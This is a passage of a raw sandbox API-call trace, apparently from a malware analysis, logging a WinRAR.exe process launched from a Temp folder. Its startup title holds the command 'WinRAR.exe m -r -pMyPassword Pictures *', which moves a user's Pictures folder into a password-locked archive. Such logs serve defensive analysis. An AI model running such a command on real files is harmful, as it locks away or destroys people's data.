lpUsedDefaultChar=0x0) returned 1383 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x567) returned 0x28b08450dd0 [0057.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Users\\FD1HVy\\Pictures", cchWideChar=1383, lpMultiByteStr=0x28b08450dd0, cbMultiByte=1383, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Users\\FD1HVy\\Pictures", lpUsedDefaultChar=0x0) returned 1383 [0057.878] FreeEnvironmentStringsW (penv=0x28b0843cd20) returned 1 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x128) returned 0x28b0843e710 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x1f) returned 0x28b084413c0 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x28) returned 0x28b08441420 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x31) returned 0x28b08434950 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x3c) returned 0x28b0844a680 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x31) returned 0x28b08432f10 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x14) returned 0x28b08447400 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x24) returned 0x28b08441690 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0xd) returned 0x28b084473a0 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x17) returned 0x28b084471e0 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x2b) returned 0x28b08432f50 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x15) returned 0x28b08447940 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x17) returned 0x28b08447680 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x22) returned 0x28b08441510 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0xe) returned 0x28b08447320 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0xc1) returned 0x28b08435680 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x3e) returned 0x28b08449c80 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x1d) returned 0x28b08441150 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x48) returned 0x28b0844a2c0 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x12) returned 0x28b084472e0 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x18) returned 0x28b084474c0 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x1b) returned 0x28b084416f0 [0057.878] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x1e) returned 0x28b08441540 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x29) returned 0x28b0843d2b0 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x1e) returned 0x28b08441450 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0xc) returned 0x28b08447340 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x6b) returned 0x28b0843d930 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x17) returned 0x28b08447280 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0xf) returned 0x28b084474e0 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x16) returned 0x28b084478e0 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x28) returned 0x28b084411b0 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x27) returned 0x28b084415a0 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x12) returned 0x28b08447420 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x21) returned 0x28b08441630 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x10) returned 0x28b08447480 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x1c) returned 0x28b084416c0 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x12) returned 0x28b08447820 [0057.879] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b08450dd0 | out: hHeap=0x28b08430000) returned 1 [0057.879] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ff92fdd0000 [0057.879] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="InitializeConditionVariable") returned 0x7ff931fb35c0 [0057.879] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SleepConditionVariableCS") returned 0x7ff92f1be960 [0057.879] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="WakeAllConditionVariable") returned 0x7ff931fa6090 [0057.879] RtlInitializeConditionVariable () returned 0x7ff931fa6090 [0057.879] QueryPerformanceFrequency (in: lpFrequency=0xf00f8ff9d0 | out: lpFrequency=0xf00f8ff9d0*=100000000) returned 1 [0057.879] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8ff9d8 | out: lpPerformanceCount=0xf00f8ff9d8*=14920805244) returned 1 [0057.879] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x1000) returned 0x28b08450dd0 [0057.880] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6f75c1a80) returned 0x0 [0057.881] GetCurrentProcess () returned 0xffffffffffffffff [0057.881] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xf00f8ff8c0, lpSystemAffinityMask=0xf00f8ff8c8 | out: lpProcessAffinityMask=0xf00f8ff8c0, lpSystemAffinityMask=0xf00f8ff8c8) returned 1 [0057.881] GetCurrentProcess () returned 0xffffffffffffffff [0057.881] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xf00f8ff8d0, lpSystemAffinityMask=0xf00f8ff8d8 | out: lpProcessAffinityMask=0xf00f8ff8d0, lpSystemAffinityMask=0xf00f8ff8d8) returned 1 [0057.882] GetCurrentProcess () returned 0xffffffffffffffff [0057.882] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xf00f8ff900, lpSystemAffinityMask=0xf00f8ff908 | out: lpProcessAffinityMask=0xf00f8ff900, lpSystemAffinityMask=0xf00f8ff908) returned 1 [0057.883] GetCurrentProcess () returned 0xffffffffffffffff [0057.883] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xf00f8ff900, lpSystemAffinityMask=0xf00f8ff908 | out: lpProcessAffinityMask=0xf00f8ff900, lpSystemAffinityMask=0xf00f8ff908) returned 1 [0057.884] GetSystemMetrics (nIndex=7) returned 3 [0058.057] GetSystemMetrics (nIndex=8) returned 3 [0058.059] GetCPInfo (in: CodePage=0x0, lpCPInfo=0xf00f8ff9a0 | out: lpCPInfo=0xf00f8ff9a0) returned 1 [0058.063] GetDC (hWnd=0x0) returned 0x60100ce [0058.064] GetDeviceCaps (hdc=0x60100ce, index=90) returned 96 [0058.064] ReleaseDC (hWnd=0x0, hDC=0x60100ce) returned 1 [0058.064] GetDC (hWnd=0x0) returned 0x10105d6 [0058.064] GetDeviceCaps (hdc=0x10105d6, index=88) returned 96 [0058.064] ReleaseDC (hWnd=0x0, hDC=0x10105d6) returned 1 [0058.065] GetStartupInfoW (in: lpStartupInfo=0xf00f8ff980 | out: lpStartupInfo=0xf00f8ff980*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0058.065] GetModuleHandleW (lpModuleName="kernel32") returned 0x7ff92fdd0000 [0058.065] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetDllDirectoryW") returned 0x7ff92fdee3c0 [0058.065] SetDllDirectoryW (lpPathName="") returned 1 [0058.065] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetDefaultDllDirectories") returned 0x7ff92f228b70 [0058.065] SetErrorMode (uMode=0x8005) returned 0x0 [0058.065] GetCurrentProcess () returned 0xffffffffffffffff [0058.065] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xf00f8fc840, lpSystemAffinityMask=0xf00f8fc848 | out: lpProcessAffinityMask=0xf00f8fc840, lpSystemAffinityMask=0xf00f8fc848) returned 1 [0058.066] GetCurrentThreadId () returned 0xcd8 [0058.066] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x190 [0058.066] RegisterClipboardFormatW (lpszFormat="WMUser_DisplayError") returned 0xc181 [0058.066] GetModuleHandleExW (in: dwFlags=0x6, lpModuleName=0x7ff6f756cf8c, phModule=0xf00f8fbaf0 | out: phModule=0xf00f8fbaf0*=0x7ff6f74d0000) returned 1 [0058.066] GetModuleFileNameW (in: hModule=0x7ff6f74d0000, lpFilename=0x7ff6f7659740, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0058.066] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.ini")) returned 0xffffffff [0058.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.ini")) returned 0xffffffff [0058.067] SHGetMalloc (in: ppMalloc=0xf00f8fba70 | out: ppMalloc=0xf00f8fba70*=0x7ff92fcdf3f0) returned 0x0 [0058.069] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0xf00f8fbab8 | out: ppidl=0xf00f8fbab8) returned 0x0 [0058.318] SHGetPathFromIDListW (in: pidl=0x28b0843c360, pszPath=0x7ff6f7659740 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0058.321] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0058.321] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x28b0843c360) [0058.321] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\WinRAR.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\winrar.ini")) returned 0xffffffff [0058.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\WinRAR.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\winrar.ini")) returned 0xffffffff [0058.321] GetLastError () returned 0x2 [0058.321] SetLastError (dwErrCode=0x2) [0058.321] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8fbc80 | out: phkResult=0xf00f8fbc80*=0x1bc) returned 0x0 [0058.321] RegCloseKey (hKey=0x1bc) returned 0x0 [0058.322] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8fc8a0 | out: phkResult=0xf00f8fc8a0*=0x0) returned 0x2 [0058.322] SHGetMalloc (in: ppMalloc=0xf00f8fc840 | out: ppMalloc=0xf00f8fc840*=0x7ff92fcdf3f0) returned 0x0 [0058.322] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0xf00f8fc888 | out: ppidl=0xf00f8fc888) returned 0x0 [0058.322] SHGetPathFromIDListW (in: pidl=0x28b0843c360, pszPath=0xf00f8fd9c0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0058.324] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0058.324] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x28b0843c360) [0058.324] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf00f8fb8a0, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0058.324] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8f9708 | out: phkResult=0xf00f8f9708*=0x1bc) returned 0x0 [0058.324] RegQueryValueExW (in: hKey=0x1bc, lpValueName="LanguageFolder", lpReserved=0x0, lpType=0xf00f8f9710, lpData=0xf00f8fa720, lpcbData=0xf00f8f9700*=0xfa4 | out: lpType=0xf00f8f9710*=0x0, lpData=0xf00f8fa720*=0x0, lpcbData=0xf00f8f9700*=0xfa4) returned 0x2 [0058.324] RegCloseKey (hKey=0x1bc) returned 0x0 [0058.324] GetVersionExW (in: lpVersionInformation=0xf00f8fb780*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x1d4e806, dwMinorVersion=0x9a49bb21, dwBuildNumber=0x1d4e806, dwPlatformId=0x10, szCSDVersion="") | out: lpVersionInformation=0xf00f8fb780*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0058.324] LoadLibraryExW (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\rarlng.dll", hFile=0x0, dwFlags=0x2) returned 0x0 [0058.324] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8f9838 | out: phkResult=0xf00f8f9838*=0x1bc) returned 0x0 [0058.324] RegQueryValueExW (in: hKey=0x1bc, lpValueName="LanguageFolder", lpReserved=0x0, lpType=0xf00f8f9840, lpData=0xf00f8fa850, lpcbData=0xf00f8f9830*=0xfea | out: lpType=0xf00f8f9840*=0x0, lpData=0xf00f8fa850*=0x21, lpcbData=0xf00f8f9830*=0xfea) returned 0x2 [0058.324] RegCloseKey (hKey=0x1bc) returned 0x0 [0058.324] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf00f8f8840, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0058.325] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\winrar.lng" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0058.325] GetLastError () returned 0x2 [0058.325] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\winrar.lng" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0058.325] GetLastError () returned 0x2 [0058.325] FindResourceW (hModule=0x7ff6f74d0000, lpName="RTL", lpType=0x5) returned 0x0 [0058.325] LoadIconW (hInstance=0x7ff6f74d0000, lpIconName=0x65) returned 0x10273 [0058.326] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0058.326] RegisterClassW (lpWndClass=0xf00f8fc940) returned 0xc183 [0058.327] RegisterClassW (lpWndClass=0xf00f8fc940) returned 0xc184 [0058.328] RegisterClassW (lpWndClass=0xf00f8fc940) returned 0xc185 [0058.328] RegisterClassW (lpWndClass=0xf00f8fc940) returned 0xc186 [0058.328] RegisterClassW (lpWndClass=0xf00f8fc940) returned 0xc187 [0058.328] GetSystemDirectoryW (in: lpBuffer=0xf00f8fb860, uSize=0x800 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0058.328] LoadLibraryW (lpLibFileName="C:\\WINDOWS\\system32\\riched20.dll") returned 0x7ff912450000 [0058.332] OleInitialize (pvReserved=0x0) returned 0x0 [0058.334] InitCommonControlsEx (picce=0xf00f8fc8d0) returned 1 [0058.335] GdiplusStartup (in: token=0xf00f8fc8d8, input=0xf00f8fc8a0, output=0x0 | out: token=0xf00f8fc8d8, output=0x0) returned 0x0 [0058.337] SHGetMalloc (in: ppMalloc=0x7ff6f767aa30 | out: ppMalloc=0x7ff6f767aa30*=0x7ff92fcdf3f0) returned 0x0 [0058.337] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xa468) returned 0x28b0846c780 [0058.338] GetCurrentProcess () returned 0xffffffffffffffff [0058.338] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xf00f8fc780, lpSystemAffinityMask=0xf00f8fc788 | out: lpProcessAffinityMask=0xf00f8fc780, lpSystemAffinityMask=0xf00f8fc788) returned 1 [0058.338] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xc0) returned 0x28b08434e10 [0058.338] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x2058) returned 0x28b08476bf0 [0058.339] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xd110) returned 0x28b08478c50 [0058.339] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x4000) returned 0x28b08485d70 [0058.339] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x4060) returned 0x28b08489d80 [0058.340] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xa758) returned 0x28b0848ddf0 [0058.340] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xa0f0) returned 0x28b08498550 [0058.340] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x5080) returned 0x28b084a2650 [0058.341] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x2c20) returned 0x28b084a76e0 [0058.341] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20a0) returned 0x28b084aa310 [0058.341] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x4000) returned 0x28b084ac3c0 [0058.341] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x8560) returned 0x28b084b03d0 [0058.342] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x4000) returned 0x28b084b8940 [0058.342] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x4ec0) returned 0x28b084bc950 [0058.342] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x28) returned 0x28b08467b40 [0058.342] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x2190) returned 0x28b084c1820 [0058.342] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x4000) returned 0x28b084c39c0 [0058.343] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x6a258) returned 0x28b0a190080 [0058.344] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x4000) returned 0x28b084c79d0 [0058.344] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20a0) returned 0x28b084cb9e0 [0058.344] GetLastError () returned 0x0 [0058.344] SetLastError (dwErrCode=0x0) [0058.344] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8fbc40 | out: phkResult=0xf00f8fbc40*=0x1f0) returned 0x0 [0058.344] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xf00f8fb8a4 | out: lpSystemTimeAsFileTime=0xf00f8fb8a4*(dwLowDateTime=0x9a63f358, dwHighDateTime=0x1d4e806)) [0058.344] GetLastError () returned 0x0 [0058.345] SetLastError (dwErrCode=0x0) [0058.345] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fab40 | out: phkResult=0xf00f8fab40*=0x1f0) returned 0x0 [0058.345] RegQueryValueExW (in: hKey=0x1f0, lpValueName="VerInfo", lpReserved=0x0, lpType=0xf00f8fafa4, lpData=0xf00f8fb880, lpcbData=0xf00f8fafa0*=0xc | out: lpType=0xf00f8fafa4*=0x3, lpData=0xf00f8fb880*, lpcbData=0xf00f8fafa0*=0xc) returned 0x0 [0058.345] RegCloseKey (hKey=0x1f0) returned 0x0 [0058.345] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8fb820 | out: phkResult=0xf00f8fb820*=0x0) returned 0x2 [0058.345] SHGetMalloc (in: ppMalloc=0xf00f8fb7c0 | out: ppMalloc=0xf00f8fb7c0*=0x7ff92fcdf3f0) returned 0x0 [0058.345] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0xf00f8fb808 | out: ppidl=0xf00f8fb808) returned 0x0 [0058.345] SHGetPathFromIDListW (in: pidl=0x28b0843c360, pszPath=0xf00f8fb8b0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0058.345] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0058.345] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x28b0843c360) [0058.346] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x8, Size=0x58) returned 0x28b08440b60 [0058.346] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\version.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar\\version.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0xf00f8fb698, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0058.346] GetFileType (hFile=0x1f0) returned 0x1 [0058.346] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1000) returned 0x28b084cda90 [0058.346] ReadFile (in: hFile=0x1f0, lpBuffer=0x28b084cda90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xf00f8fb6f8, lpOverlapped=0x0 | out: lpBuffer=0x28b084cda90*, lpNumberOfBytesRead=0xf00f8fb6f8*=0xc, lpOverlapped=0x0) returned 1 [0058.346] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084cda90 | out: hHeap=0x28b08430000) returned 1 [0058.346] CloseHandle (hObject=0x1f0) returned 1 [0058.347] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="WinRAR_Busy") returned 0x1f0 [0058.347] FindWindowW (lpClassName="WinRarWindow", lpWindowName=0x0) returned 0x1023e [0058.408] CreateWindowExW (dwExStyle=0x10, lpClassName="WinRarWindow", lpWindowName="WinRAR", dwStyle=0x6cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x7ff6f74d0000, lpParam=0x0) returned 0x10246 [0058.415] RegisterClipboardFormatW (lpszFormat="TaskbarCreated") returned 0xc08a [0058.415] NtdllDefWindowProc_W () returned 0x0 [0058.415] NtdllDefWindowProc_W () returned 0x1 [0058.419] NtdllDefWindowProc_W () returned 0x0 [0058.423] LoadMenuW (hInstance=0x7ff6f74d0000, lpMenuName="MAIN_MENU") returned 0x10277 [0058.426] GetMenuItemInfoW (in: hmenu=0x10277, item=0x0, fByPosition=1, lpmii=0xf00f8f98e0 | out: lpmii=0xf00f8f98e0) returned 1 [0058.426] SetMenuItemInfoW (hmenu=0x10277, item=0x0, fByPositon=1, lpmii=0xf00f8f98e0) returned 1 [0058.426] GetMenuItemInfoW (in: hmenu=0x10279, item=0x0, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.426] SetMenuItemInfoW (hmenu=0x10279, item=0x0, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.426] GetMenuItemInfoW (in: hmenu=0x10279, item=0x1, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.426] SetMenuItemInfoW (hmenu=0x10279, item=0x1, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.426] GetMenuItemInfoW (in: hmenu=0x10279, item=0x2, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.426] SetMenuItemInfoW (hmenu=0x10279, item=0x2, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.426] GetMenuItemInfoW (in: hmenu=0x1027b, item=0x0, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.426] GetMenuItemInfoW (in: hmenu=0x1027b, item=0x1, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 0 [0058.426] GetMenuItemInfoW (in: hmenu=0x10279, item=0x3, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.426] SetMenuItemInfoW (hmenu=0x10279, item=0x3, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.426] GetMenuItemInfoW (in: hmenu=0x10279, item=0x4, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.426] GetMenuItemInfoW (in: hmenu=0x10279, item=0x5, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.427] SetMenuItemInfoW (hmenu=0x10279, item=0x5, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.427] GetMenuItemInfoW (in: hmenu=0x10279, item=0x6, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.427] SetMenuItemInfoW (hmenu=0x10279, item=0x6, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.427] GetMenuItemInfoW (in: hmenu=0x10279, item=0x7, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.427] SetMenuItemInfoW (hmenu=0x10279, item=0x7, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.427] GetMenuItemInfoW (in: hmenu=0x10279, item=0x8, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.427] GetMenuItemInfoW (in: hmenu=0x10279, item=0x9, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.427] SetMenuItemInfoW (hmenu=0x10279, item=0x9, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.427] GetMenuItemInfoW (in: hmenu=0x10279, item=0xa, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.427] SetMenuItemInfoW (hmenu=0x10279, item=0xa, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.427] GetMenuItemInfoW (in: hmenu=0x10279, item=0xb, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.427] SetMenuItemInfoW (hmenu=0x10279, item=0xb, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.427] GetMenuItemInfoW (in: hmenu=0x10279, item=0xc, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.427] SetMenuItemInfoW (hmenu=0x10279, item=0xc, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.427] GetMenuItemInfoW (in: hmenu=0x10279, item=0xd, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.427] GetMenuItemInfoW (in: hmenu=0x10279, item=0xe, 